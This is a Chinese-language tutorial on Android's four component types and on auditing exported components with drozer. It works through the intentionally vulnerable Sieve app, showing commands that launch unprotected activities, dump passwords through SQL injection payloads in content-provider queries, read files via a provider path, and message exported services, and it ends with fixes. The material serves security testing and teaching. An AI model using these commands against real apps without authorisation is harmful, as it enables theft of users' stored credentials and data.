1.四大组件描述
Android主要包含4大组件,分别是activity组件、service组件、content provider组件和broadcast receiver组件。
- Activity组件
(1)一个Activity通常就是一个单独的屏幕(窗口)。
(2)Activity之间通过Intent进行通信。
(3)android应用中每一个Activity都必须要在AndroidManifest.xml配置文件中声明,否则系统将不识别也不执行该Activity。
- Service组件
(1)service用于在后台完成用户指定的操作。
(2)开发人员需要在应用程序AndroidManifest.xml配置文件中声明全部的service,使用标签。
(3)Service通常位于后台运行,它一般不需要与用户交互,因此Service组件没有图形用户界面。Service组件需要继承Service基类。Service组件通常用于为其他组件提供后台服务或监控其他组件的运行状态。
- Content Provider组件
(1)android平台提供了Content Provider使一个应用程序的指定数据集提供给其他应用程序。其他应用可以通过ContentResolver类从该内容提供者中获取或存入数据。
(2)只有需要在多个应用程序间共享数据是才需要内容提供者。例如,通讯录数据被多个应用程序使用,且必须存储在一个内容提供者中。它的好处是统一数据访问方式。
(3)ContentProvider实现数据共享。ContentProvider用于保存和获取数据,并使其对所有应用程序可见。这是不同应用程序间共享数据的唯一方式,因为android没有提供所有应用共同访问的公共存储区。
- broadcast receiver
(1)你的应用可以使用它对外部事件进行过滤,只对感兴趣的外部事件(如当电话呼入时,或者数据网络可用时)进行接收并做出响应。广播接收器没有用户界面。然而,它们可以启动一个activity或serice来响应它们收到的信息,或者用NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力,例如闪动背灯、震动、播放声音等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。
(2)广播接收者的注册有两种方法,分别是程序动态注册和AndroidManifest文件中进行静态注册。
(3)动态注册广播接收器特点是当用来注册的Activity关掉后,广播也就失效了。静态注册无需担忧广播接收器是否被关闭,只要设备是开启状态,广播接收器也是打开着的。也就是说哪怕app本身未启动,该app订阅的广播在触发时也会对它起作用。
- 四大组件总结
(1)4大组件的注册
4大基本组件都需要注册才能使用,每个Activity、service、Content Provider都需要在AndroidManifest文件中进行配置。AndroidManifest文件中未进行声明的activity、服务以及内容提供者将不为系统所见,从而也就不可用。而broadcast receiver广播接收者的注册分静态注册(在AndroidManifest文件中进行配置)和通过代码动态创建并以调用Context.registerReceiver()的方式注册至系统。需要注意的是在AndroidManifest文件中进行配置的广播接收者会随系统的启动而一直处于活跃状态,只要接收到感兴趣的广播就会触发(即使程序未运行)。
(2)4大组件的激活
内容提供者的激活:当接收到ContentResolver发出的请求后,内容提供者被激活。而其它三种组件activity、服务和广播接收器被一种叫做intent的异步消息所激活。
2 组件安全检查方法
1、 AndroidManifest.xml文件中activity组件里面有设置android:exported为true,表示此组件可以被外部应用调用。
2、 AndroidManifest.xml文件中activity组件里面有设置android:exported为false,表示此组件不可以被外部应用调用。只有同一个应用的组件或者有着同样user ID的应用可以
3、 AndroidManifest.xml文件中activity组件里面没有设置android:exported属性,但是有intent-filter,则exported默认属性为true,true表示此组件可以被外部应用调用。
4、 AndroidManifest.xml文件中activity组件里面没有设置android:exported属性,也没有设置intent-filter,则exported默认属性为false,false表示此组件不可以被外部应用调用。只有同一个应用的组件或者有着同样user ID的应用可以
androidManifest.xml的一些属性:
采用drozer工具可以进行检测组件是否存在导出风险
1 环境要求
(1)jdk1.6+
(2)python2.7
(3)android sdk
确保配置了adb、java环境变量
1.2 Window10安装drozer
2、 下载drozer
首先下载drozer的安装包
可以直接到官网下载:https://labs.mwrinfosecurity/tools/drozer/
百度云下载链接:http://pan.baidu/s/1gfI0hLT 密码:c78h
3.手机/模拟器上安装agent.apk
将agent.apk下载后,手机通过cmd安装,如下:
adb install 安装路径/agent.apk
使用drozer 【http://www.360doc/content/15/0228/04/21863855_451377867.shtml】
解压后的文件如下:apk是安装在手机设备上的,setup.exe是安装在本机【必须、必须、必须 将本机pc的setup.exe安装到C盘下,安装路径是C:\drozer下】
4、手机端/模拟器安装sieve.apk
将sieve.apk下载后,手机通过cmd安装,如下:
adb install 安装路径/sieve.apk
5.启动session
现在我们已经配好了PC端的drozer环境,以及在手机上安装了drozer agent。但是我们需要将这两者之间联系起来建立通信,我们可以使用嵌入在drozer agen中的服务器来完成此操作。首先,我们需要设置一个合适的端口,以便我们的PC可以连接到由模拟器内部的代理,或手机上的代理。默认情况下,drozer使用端口31415:
现在,启动drozer agent,点击【 Embedded Server】,点击【Enable】启动服务器。能看到服务器启动的通知。
在终端(cmd)中输入:
> `>adb forward tcp:31415 tcp:31415 【这个端口号可以在设备上查看到】
> >c:
> >cd drozer C:\>drozer>drozer console connect`
连接成功见下图:
6. 基本命令的使用
1、检索包的包名:run app.package.list -f (安装后的app名称)
dz> run app.package.list -f sieve
com.mwr.example.sieve (Sieve)
2、查看包的详细信息:app.package.info
包含的内容有:版本号,数据存放在手机上的路径,安装时关于应用程序允许的权限的详细信息。
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Application Label: Sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/user/0/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-SUwLMRYMpLSx46cH5qdr1A==/base.apk
UID: 10223
GID: [3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
3、识别攻击面
在此,我们将只考虑通过Android的内置机制的进程间通信(IPC)暴露漏洞。这些漏洞通常导致敏感数据泄漏到安装在同一设备上的其他应用程序。
我们可以通过drozer报告sieze的攻击面:
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
上面结果说明我们有很多潜在的问题,这个app上的 ‘exports’ 有的几个让其他应用程序可以访问的activities(应用程序使用的屏幕)、内容提供者(数据库对象)、服务(后台工作者)。同时有一点,该服务是可调试的,这意味着我们可以使用ADB逐步通过代码将调试器附加到进程。
4、启用页面的activity:Launching Activities
通过 app.activity.info 我们可以知道哪些activity是可以导出的
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
Permission: null
com.mwr.example.sieve.MainLoginActivity
Permission: null
com.mwr.example.sieve.PWList
Permission: null
只有启动页是我们希望有的activity,其余两个都不希望有,因为这些activity是可以导出的,而不需要任何许可(如登录时输入密码),我们可以通过drozer启动它,如下:
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
当调用 app.activity.start可以构建更复杂的用途,与所有的drozer模块一样,你可以请求更多的使用信息:
dz> help app.activity.start
usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY [CATEGORY ...]]
[--component PACKAGE COMPONENT] [--data-uri DATA_URI]
[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
[--mimetype MIMETYPE]
Starts an Activity using the formulated intent.
Examples:
Start the Browser with an explicit intent:
dz> run app.activity.start
--component com.android.browser
com.android.browser.BrowserActivity
--flags ACTIVITY_NEW_TASK
If no flags are specified, drozer will add the ACTIVITY_NEW_TASK flag. To launch an activity with no flags:
dz> run app.activity.start
--component com.android.browser
com.android.browser.BrowserActivity
--flags 0x0
Starting the Browser with an implicit intent:
dz> run app.activity.start
--action android.intent.action.VIEW
--data-uri http://www.google
--flags ACTIVITY_NEW_TASK
For more information on how to formulate an Intent, type 'help intents'.
Last Modified: 2012-11-06
Credit: MWR InfoSecurity (@mwrlabs)
License: BSD (3 clause)
optional arguments:
-h, --help
--action ACTION specify the action to include in the Intent
--category CATEGORY [CATEGORY ...]
specify the category to include in the Intent
--component PACKAGE COMPONENT
specify the component name to include in the Intent
--data-uri DATA_URI specify a Uri to attach as data in the Intent
--extra TYPE KEY VALUE
add an field to the Intent's extras bundle
--flags FLAGS [FLAGS ...]
specify one-or-more flags to include in the Intent
--mimetype MIMETYPE specify the MIME type to send in the Intent
5、从内容提供者读取
接下来,我们可以收集有关应用程序可导出的内容提供者的更多信息。
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
这儿显示了前面攻击的两个可导出的内容提供者
(1)Database-backed Content Providers (数据泄露)
drozer提供了一个扫描模块,它汇集了各种猜测路径,并列出了一个可访问的列表,可扫描出哪些
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query content://com.mwr.example.sieve.DBContentProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
(2)现在我们可以使用其他的drozer模块从这些内容URI中检索信息,甚至修改数据库中的数据:
查询数据库中的信息:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id 1
service test
username test
password vu3sfOq5TXnQd1tHYSJMwj7TahthJhA= (Base64-encoded)
email 12346@qq
6、Database-backed Content Providers (sql注入)
android平台促进使用SQLite数据库来存储用户数据。由于这些数据库使用SQL,对于SQL注入来说,它们很容易受到攻击,。通过操作传递到的投影和选择字段来测试SQL注入是很简单的。
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
unrecognized token: "' FROM Passwords" (Sqlite code 1): , while compiling: SELECT ' FROM Passwords, (OS error - 11:Try again)
Android返回一个非常冗长的错误消息,显示它试图执行的整个查询。我们可以充分利用这个漏洞来列出数据库中的所有表:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) |
| table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
| table | Key | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT ) |
dz>
或查询其他受保护的表
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
| Password | pin |
| 1234567890123456 | 1234 |
7、File System-backed Content Providers
内容提供者可以提供对底层文件系统的访问。这允许应用程序共享文件,其中Android沙箱会阻止它。
因为我们可以合理地假设FileBackupProvider 提供是一个文件系统支持的内容提供者,并且PATH组件表示要打开的文件的位置,所以我们可以很容易地猜出内容URI。
使用drozer模块读取文件:
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
::1 ip6-localhost
读取/etc/hosts文件并不是一个大问题(无论如何它都是可读的),但是在第前面发现了应用程序的数据目录的路径,我们可以去获取更敏感的信息:
dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data
/data/com.mwr.example.sieve/databases/database.db /home/user/database.db
这个案例我未执行通过,提示“run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data”,如果有哪位同行执行通过了,希望能告诉我
8、检查Content Provider的脆弱性
我们已经看到,内容提供者对SQL注入和目录遍历都是脆弱的。drozeroffers 模块自动测试这些漏洞的简单情况:
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
content://com.mwr.example.sieve.DBContentProvider/Keys
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider
content://com.mwr.example.sieve.FileBackupProvider
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
9、服务交互
到目前为止,我们几乎破坏了筛子。我们已经提取了用户的主密码,以及一些与他们的服务密码相关的密码文本。这很好,但是我们可以通过它导出的服务完全妥协。
7.获取App Package信息
drozer每个模块的作用:
1、获取App包信息的模块是app.package.* :
dz> cd app
dz#app> cd package
dz#app.package> ls
app.package.attacksurface Get attack surface of package
app.package.backup Lists packages that use the backup API (returns true on FLAG_ALLOW_BACKUP)
app.package.debuggable Find debuggable packages
app.package.info Get information about installed packages
app.package.launchintent Get launch intent of package
app.package.list List Packages
app.package.manifest Get AndroidManifest.xml of package
app.package.native Find Native libraries embedded in the application.
app.package.shareduid Look for packages with shared UIDs
dz#app.package>
2、获取手机上安装的所有app:run app.package.list
3、检查是否存在遍历文件的漏洞:run scanner.provider.traversal -a com.mwr.example.sieve
4、和Services交互,获取是exported状态的services的命令:run app.service.info -a com.mwr.example.sieve
5、关于Services的模块:
dz> cd app
dz#app> cd service
dz#app.service> ls
app.service.info Get information about exported services
app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
dz#app.service>
如像某个服务发送信息:
dz#> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 1 5 3
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.CryptoService:
what: 111111
arg1: 0
arg2: 0
Empty
返回的结果为:
dz#> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --vertical
_id 1
service test
username test
password vu3sfOq5TXnQd1tHYSJMwj7TahthJhA= (Base64-encoded)
email 12346@qq
3 修复建议
(1)如果应用的Service组件不必要导出,或者组件配置了intent filter标签,建议显示设置组件的“android:exported”属性为false
(2)如果组件必须要提供给外部应用使用,建议对组件进行权限控制
更多推荐
(3)客户端APP安全_组件导出
发布评论